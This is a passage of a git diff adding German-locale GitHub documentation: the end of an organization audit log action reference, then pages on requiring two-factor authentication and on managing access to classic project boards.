+### `repository_dependency_graph` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when a repository owner or person with admin access to the repository disables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."
+| `enable` | Triggered when a repository owner or person with admin access to the repository enables the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository.
+
+{% endif %}{% ifversion ghec or ghes or ghae %}
+### `repository_secret_scanning` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a repository. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a repository.
+
+{% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %}
+
+### `repository_secret_scanning_custom_pattern` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when a custom pattern is published for secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-a-repository)."
+| `update` | Triggered when changes to a custom pattern are saved for secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#editing-a-custom-pattern)."
+| `delete` | Triggered when a custom pattern is removed from secret scanning in a repository. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#removing-a-custom-pattern)."
+
+{% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %}
+
+### `repository_secret_scanning_push_protection` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when a repository owner or person with admin access to the repository disables secret scanning for a repository. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."
+| `enable` | Triggered when a repository owner or person with admin access to the repository enables secret scanning for a repository.
+
+{% endif %}
+### `repository_vulnerability_alert` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when {% data variables.product.product_name %} creates a {% data variables.product.prodname_dependabot %} alert for a repository that uses a vulnerable dependency. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% data variables.product.prodname_dependabot %} alert about a vulnerable dependency.
+| `resolve` | Triggered when someone with write access to a repository pushes changes to update and resolve a vulnerability in a project dependency.
+{% ifversion fpt or ghec %}
+### `repository_vulnerability_alerts` category actions
+
+| Action | Description
+|------------------|-------------------
+| `authorized_users_teams` | Triggered when an organization owner or a person with admin permissions to the repository updates the list of people or teams authorized to receive {% data variables.product.prodname_dependabot_alerts %} for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."
+| `disable` | Triggered when a repository owner or person with admin access to the repository disables {% data variables.product.prodname_dependabot_alerts %}.
+| `enable` | Triggered when a repository owner or person with admin access to the repository enables {% data variables.product.prodname_dependabot_alerts %}.
+
+{% endif %}{% ifversion custom-repository-roles %}
+### `role` category actions
+| Action | Description
+|------------------|-------------------
+|`create` | Triggered when an organization owner creates a new custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+|`destroy` | Triggered when an organization owner deletes a custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+|`update` | Triggered when an organization owner edits an existing custom repository role. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+
+{% endif %}
+{% ifversion ghec or ghes or ghae %}
+### `secret_scanning` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when an organization owner disables secret scanning for all existing{% ifversion ghec %}, private or internal{% endif %} repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when an organization owner enables secret scanning for all existing{% ifversion ghec %}, private or internal{% endif %} repositories.
+{% endif %}
+
+{% ifversion secret-scanning-alert-audit-log %}
+### `secret_scanning_alert` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when {% data variables.product.prodname_dotcom %} detects an exposed secret and creates a {% data variables.product.prodname_secret_scanning %} alert. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/managing-alerts-from-secret-scanning)."
+| `reopen` | Triggered when a user reopens a {% data variables.product.prodname_secret_scanning %} alert.
+| `resolve` | Triggered when a user resolves a {% data variables.product.prodname_secret_scanning %} alert.
+{% endif %}
+
+{% ifversion ghec or ghes or ghae %}
+### `secret_scanning_new_repos` category actions
+
+| Action | Description
+|------------------|-------------------
+| `disable` | Triggered when an organization owner disables secret scanning for all new {% ifversion ghec %}private or internal {% endif %}repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)."
+| `enable` | Triggered when an organization owner enables secret scanning for all new {% ifversion ghec %}private or internal {% endif %}repositories.
+{% endif %}
+
+{% ifversion secret-scanning-push-protection-bypasses %}
+### `secret_scanning_push_protection` category actions
+
+| Action | Description
+|------------------|-------------------
+| `bypass` | Triggered when a user bypasses the push protection on a secret detected by secret scanning. For more information, see "[Bypassing push protection for a secret](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)."
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### `sponsors` category actions
+
+| Action | Description
+|------------------|-------------------
+| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)")
+| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)")
+| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
+| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
+| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
+| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored account (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)")
+| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
+| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)")
+| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)")
+| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled
+| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state
+| `sponsored_developer_profile_update` | Triggered when you edit your sponsored organization profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)")
+| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)")
+| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)")
+| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)")
+| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)")
+| `waitlist_join` | Triggered when you join the waitlist to become a sponsored organization (see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)")
+{% endif %}
+
+### `team` category actions
+
+| Action | Description
+|------------------|-------------------
+| `add_member` | Triggered when a member of an organization is [added to a team](/articles/adding-organization-members-to-a-team).
+| `add_repository` | Triggered when a team is given control of a repository.
+| `change_parent_team` | Triggered when a child team is created or [a child team's parent is changed](/articles/moving-a-team-in-your-organization-s-hierarchy).
+| `change_privacy` | Triggered when a team's privacy level is changed.
+| `create` | Triggered when a new team is created.
+| `demote_maintainer` | Triggered when a user was demoted from a team maintainer to a team member. For more information, see "[Assigning the team maintainer role to a team member](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)."
+| `destroy` | Triggered when a team is deleted from the organization.
+| `team.promote_maintainer` | Triggered when a user was promoted from a team member to a team maintainer. For more information, see "[Assigning the team maintainer role to a team member](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member)."
+| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team).
+| `remove_repository` | Triggered when a repository is no longer under a team's control.
+
+### `team_discussions` category actions
+
+| Action | Description
+|---|---|
+| `disable` | Triggered when an organization owner disables team discussions for an organization. For more information, see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)."
+| `enable` | Triggered when an organization owner enables team discussions for an organization.
+
+### `workflows` category actions
+
+{% data reusables.actions.actions-audit-events-workflow %}
+## Further reading
+
+- "[Keeping your organization secure](/articles/keeping-your-organization-secure)"{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{%- ifversion fpt or ghec %}
+- "[Exporting member information for your organization](/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization)"{% endif %}
+{%- endif %}
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md
new file mode 100644
index 0000000000..a8778b4914
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/index.md
@@ -0,0 +1,23 @@
+---
+title: Verwaltung der zweistufigen Authentifizierung für deine Organisation
+shortTitle: Manage 2FA
+intro: 'Du kannst sehen, ob Benutzer mit Zugriff auf deine Organisation die zweistufige Authentifizierung (2FA) aktiviert haben und 2FA benötigen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /viewing-whether-users-in-your-organization-have-2fa-enabled
+  - /preparing-to-require-two-factor-authentication-in-your-organization
+  - /requiring-two-factor-authentication-in-your-organization
+ms.openlocfilehash: 49de4c84935fe7ef5eb6ffd3fb76866eddf890b3
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147872311'
+---
+
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md
new file mode 100644
index 0000000000..532e96344f
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/preparing-to-require-two-factor-authentication-in-your-organization.md
@@ -0,0 +1,31 @@
+---
+title: Vorbereiten auf die Voraussetzung der zweistufigen Authentifizierung in deiner Organisation
+intro: 'Bevor du die zweistufige Authentifizierung (2FA) voraussetzt, kannst du die Benutzer*innen über die bevorstehende Änderung informieren und überprüfen, wer die 2FA bereits verwendet.'
+redirect_from:
+  - /articles/preparing-to-require-two-factor-authentication-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/preparing-to-require-two-factor-authentication-in-your-organization
+  - /organizations/keeping-your-organization-secure/preparing-to-require-two-factor-authentication-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Prepare to require 2FA
+ms.openlocfilehash: 67083113143145a6de7bba5412568609414f12a8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145130798'
+---
+Wir empfehlen, dass du {% ifversion fpt or ghec %}Organisationsmitglieder, externe Projektmitarbeiter und Abrechnungsmanager{% else %}Organisationsmitglieder und externe Projektmitarbeiter{% endif %} mindestens eine Woche, bevor du die zweistufige Authentifizierung in deiner Organisation einführst, informierst.
+
+Wenn du für deine Organisation die Zwei-Faktor-Authentifizierung vorschreibst, werden Mitglieder, externe Mitarbeiter und Abrechnungsmanager (einschließlich Bot-Konten), die keine 2FA verwenden, aus der Organisation entfernt und verlieren den Zugriff auf die Repositorys der Organisation. Gleichzeitig verlieren sie auch den Zugriff auf ihre Forks der privaten Repositorys der Organisation.
+
+Bevor du die 2FA in deiner Organisation voraussetzt, wird empfohlen, Folgendes zu tun:
+  - [Aktivieren der zweistufigen Authentifizierung](/articles/securing-your-account-with-two-factor-authentication-2fa/) auf deinem persönlichen Konto
+  - Bitte Benutzer in deiner Organisation darum, 2FA für ihre Konten einzurichten
+  - Überprüfe, ob [die zweistufige Authentifizierung für Benutzer*innen in deiner Organisation aktiviert ist](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled/).
+  - Warne die Benutzer, dass nach der Aktivierung von 2FA diejenigen ohne 2FA automatisch aus der Organisation entfernt werden
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md
new file mode 100644
index 0000000000..a35dbd89cd
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization.md
@@ -0,0 +1,82 @@
+---
+title: Requiring two-factor authentication in your organization
+intro: 'Organization owners can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to enable two-factor authentication for their personal accounts, making it harder for malicious actors to access an organization''s repositories and settings.'
+redirect_from:
+  - /articles/requiring-two-factor-authentication-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/requiring-two-factor-authentication-in-your-organization
+  - /organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Require 2FA
+---
+
+## About two-factor authentication for organizations
+
+{% data reusables.two_fa.about-2fa %} You can require all {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} in your organization to enable two-factor authentication on {% data variables.product.product_name %}. For more information about two-factor authentication, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+
+{% ifversion fpt or ghec %}
+
+You can also require two-factor authentication for organizations in an enterprise. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
+
+{% endif %}
+
+{% warning %}
+
+**Warnings:**
+
+- When you require use of two-factor authentication for your organization, {% ifversion fpt or ghec %}members, outside collaborators, and billing managers{% else %}members and outside collaborators{% endif %} (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories. They will also lose access to their forks of the organization's private repositories. You can [reinstate their access privileges and settings](/articles/reinstating-a-former-member-of-your-organization) if they enable two-factor authentication for their personal account within three months of their removal from your organization.
+- If an organization owner, member,{% ifversion fpt or ghec %} billing manager,{% endif %} or outside collaborator disables 2FA for their personal account after you've enabled required two-factor authentication, they will automatically be removed from the organization.
+- If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization.
+
+{% endwarning %}
+
+{% data reusables.two_fa.auth_methods_2fa %}
+
+## Prerequisites
+
+Before you can require {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} to use two-factor authentication, you must enable two-factor authentication for your account on {% data variables.product.product_name %}. For more information, see "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+
+Before you require use of two-factor authentication, we recommend notifying {% ifversion fpt or ghec %}organization members, outside collaborators, and billing managers{% else %}organization members and outside collaborators{% endif %} and asking them to set up 2FA for their accounts. You can see if members and outside collaborators already use 2FA. For more information, see "[Viewing whether users in your organization have 2FA enabled](/organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled)."
+
+## Requiring two-factor authentication in your organization
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.organizations.require_two_factor_authentication %}
+{% data reusables.organizations.removed_outside_collaborators %}
+{% ifversion fpt or ghec %}
+8. If any members or outside collaborators are removed from the organization, we recommend sending them an invitation that can reinstate their former privileges and access to your organization. They must enable two-factor authentication before they can accept your invitation.
+{% endif %}
+
+## Viewing people who were removed from your organization
+
+To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search your organization's audit log](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log) for people removed from your organization. The audit log event will show if a person was removed for 2FA non-compliance.
+
+![Audit log event showing a user removed for 2FA non-compliance](/assets/images/help/2fa/2fa_noncompliance_audit_log_search.png)
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.audit_log.audit_log_sidebar_for_org_admins %}
+4. Enter your search query. To search for:
+    - Organization members removed, use `action:org.remove_member` in your search query
+    - Outside collaborators removed, use `action:org.remove_outside_collaborator` in your search query{% ifversion fpt or ghec %}
+    - Billing managers removed, use `action:org.remove_billing_manager`in your search query{% endif %}
+
+ You can also view people who were removed from your organization by using a [time frame](/articles/reviewing-the-audit-log-for-your-organization/#search-based-on-time-of-action) in your search.
+
+## Helping removed members and outside collaborators rejoin your organization
+
+If any members or outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization.
+
+## Further reading
+
+- "[Viewing whether users in your organization have 2FA enabled](/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)"
+- "[Securing your account with two-factor authentication (2FA)](/articles/securing-your-account-with-two-factor-authentication-2fa)"
+- "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)"
+- "[Reinstating a former outside collaborator's access to your organization](/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)"
diff --git a/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md
new file mode 100644
index 0000000000..c0b6f70cd8
--- /dev/null
+++ b/translations/de-DE/content/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/viewing-whether-users-in-your-organization-have-2fa-enabled.md
@@ -0,0 +1,39 @@
+---
+title: 'Überprüfen, ob die 2FA für die Benutzer*innen deiner Organisation aktiviert ist'
+intro: 'Du kannst anzeigen, welche Organisationsinhaber, Mitglieder und externen Mitarbeiter die zweistufige Authentifizierung aktiviert haben.'
+redirect_from:
+  - /articles/viewing-whether-users-in-your-organization-have-2fa-enabled
+  - /github/setting-up-and-managing-organizations-and-teams/viewing-whether-users-in-your-organization-have-2fa-enabled
+  - /organizations/keeping-your-organization-secure/viewing-whether-users-in-your-organization-have-2fa-enabled
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: View 2FA usage
+ms.openlocfilehash: 20659ea2e1979123b15d9ee5d333655ad188b2e9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145130778'
+---
+{% note %}
+
+**Hinweis:** Du kannst fordern, dass alle Mitglieder{% ifversion fpt or ghec %} einschließlich Besitzer, Abrechnungsmanager und{% else %} und{% endif %} externer Projektmitarbeiter in deiner Organisation die zweistufige Authentifizierung aktiviert haben müssen. Weitere Informationen findest du unter [Erfordern der zweistufigen Authentifizierung in deiner Organisation](/articles/requiring-two-factor-authentication-in-your-organization).
+
+{% endnote %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
+4. Um die Organisationsmitglieder einschließlich der Organisationsinhaber anzuzeigen, die die zweistufige Authentifizierung aktiviert oder deaktiviert haben, klicke auf der rechten Seite auf **2FA**, und wähle **Aktiviert** oder **Deaktiviert** aus.
+ ![filter-org-members-by-2fa](/assets/images/help/2fa/filter-org-members-by-2fa.png)
+5. Wenn du externe Projektmitarbeiter in deiner Organisation anzeigen möchtest, klicke unter der Registerkarte „Personen“ auf **Externe Projektmitarbeiter**.
+![Auswahl von externen Projektmitarbeitern](/assets/images/help/organizations/select-outside-collaborators.png)
+6. Wenn du anzeigen möchtest, welche externen Projektmitarbeiter die zweistufige Authentifizierung aktiviert oder deaktiviert haben, klicke rechts auf **2FA**, und wähle **Aktiviert** oder **Deaktiviert** aus.
+![filter-outside-collaborators-by-2fa](/assets/images/help/2fa/filter-outside-collaborators-by-2fa.png)
+
+## Weitere Informationsquellen
+
+- „[Rollen von Personen in einer Organisation anzeigen](/articles/viewing-people-s-roles-in-an-organization)“
diff --git a/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md
new file mode 100644
index 0000000000..c388f52959
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/adding-an-outside-collaborator-to-a-project-board-in-your-organization.md
@@ -0,0 +1,31 @@
+---
+title: 'Hinzufügen externer Mitarbeiter*innen zu einem {% data variables.product.prodname_project_v1 %} in deiner Organisation'
+intro: 'Als Organisationsbesitzer*in oder {% data variables.projects.projects_v1_board %}administrator kannst du externe Mitarbeiter*innen hinzufügen und ihre Berechtigungen für ein {% data variables.projects.projects_v1_board %} anpassen.'
+redirect_from:
+  - /articles/adding-an-outside-collaborator-to-a-project-board-in-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/adding-an-outside-collaborator-to-a-project-board-in-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Add a collaborator
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 517e0c6f71d1b70eb19dc85dfe3334ff0144c814
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109784'
+---
+{% data reusables.projects.project_boards_old %}
+
+Externe Mitarbeiter*innen sind Personen, die nicht explizit Mitglieder deiner Organisation sein, aber auf ein {% data variables.projects.projects_v1_board %} in deiner Organisation zugreifen können.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %}
+1. Klicke auf **Projekte (klassisch)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %}
+9. Gib unter „Search by username, full name or email address“ (Nach Benutzername, vollständigem Namen oder E-Mail-Adresse suchen) den Namen, den Benutzernamen oder die {% data variables.product.prodname_dotcom %}-E-Mail-Adresse des externen Mitarbeiters ein.
+   ![Abschnitt „Mitarbeiter“ mit dem im Suchfeld eingegebenen Oktocat-Benutzernamen](/assets/images/help/projects/org-project-collaborators-find-name.png) {% data reusables.project-management.add-collaborator %} {% data reusables.project-management.collaborator-permissions %}
diff --git a/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/index.md b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/index.md
new file mode 100644
index 0000000000..43a8253143
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/index.md
@@ -0,0 +1,32 @@
+---
+title: 'Verwalten des Zugriffs auf die {% data variables.product.prodname_projects_v1 %} deiner Organisation'
+intro: 'Als Organisationsbesitzer*in oder {% data variables.projects.projects_v1_board %}administrator*in kannst du Organisationsmitgliedern, Teams und externen Mitarbeiter*innen unterschiedliche Zugriffsstufen für {% data variables.projects.projects_v1_boards %} deiner Organisation gewähren.'
+redirect_from:
+  - /articles/managing-access-to-your-organization-s-project-boards
+  - /articles/managing-access-to-your-organizations-project-boards
+  - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-project-boards
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /project-board-permissions-for-an-organization
+  - /managing-access-to-a-project-board-for-organization-members
+  - /managing-team-access-to-an-organization-project-board
+  - /managing-an-individuals-access-to-an-organization-project-board
+  - /adding-an-outside-collaborator-to-a-project-board-in-your-organization
+  - /removing-an-outside-collaborator-from-an-organization-project-board
+shortTitle: 'Manage {% data variables.product.prodname_project_v1 %} access'
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: ec3c6cdaffc23dcb4df631879d17ec1ca6c1d61b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108306'
+---
+
diff --git a/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md
new file mode 100644
index 0000000000..f9e1eb4a6f
--- /dev/null
+++ b/translations/de-DE/content/organizations/managing-access-to-your-organizations-project-boards/managing-access-to-a-project-board-for-organization-members.md
@@ -0,0 +1,46 @@
+---
+title: 'Verwalten des Zugriffs auf ein {% data variables.product.prodname_project_v1 %} für Organisationsmitglieder'
+intro: 'Als Organisationsbesitzer*in oder {% data variables.projects.projects_v1_board %}administrator*in kannst du für alle Organisationsmitglieder eine Standardberechtigungsstufe für ein {% data variables.projects.projects_v1_board %} festlegen.'
+redirect_from:
+  - /articles/managing-access-to-a-project-board-for-organization-members
+  - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-a-project-board-for-organization-members
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Manage access for members
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 4c0b280f6c1b28532b191282db465b5ae5b3c274
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109441'
+---
+{% data reusables.projects.project_boards_old %}
+
+Standardmäßig haben Organisationsmitglieder Schreibzugriff auf die {% data variables.projects.projects_v1_boards %} ihrer Organisation, sofern Organisationsbesitzer*innen oder {% data variables.projects.projects_v1_board %}administrator*innen keine unterschiedlichen Berechtigungen für bestimmte {% data variables.projects.projects_v1_boards %} festgelegt haben.
+
+## Eine grundlegende Berechtigungsebene für alle Organisationsmitglieder festlegen
+
+{% tip %}
+
+**Tipp:** Du kannst einem Organisationsmitglied höhere Berechtigungen für ein {% data variables.projects.projects_v1_board %} erteilen. Weitere Informationen findest du unter [Projektboardberechtigungen für eine Organisation](/articles/project-board-permissions-for-an-organization).
+
+{% endtip %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.organization-wide-project %}{% ifversion projects-v2 %}
+1. Klicke auf **Projekte (klassisch)** {% endif %} {% data reusables.project-management.select-project %} {% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %}
+8. Wähle unter „Organisationsmitgliedsberechtigung“ eine Baselineberechtigungsebene für alle Organisationsmitglieder aus: **Lesen**, **Schreiben**, **Administrator** oder **Keine**.
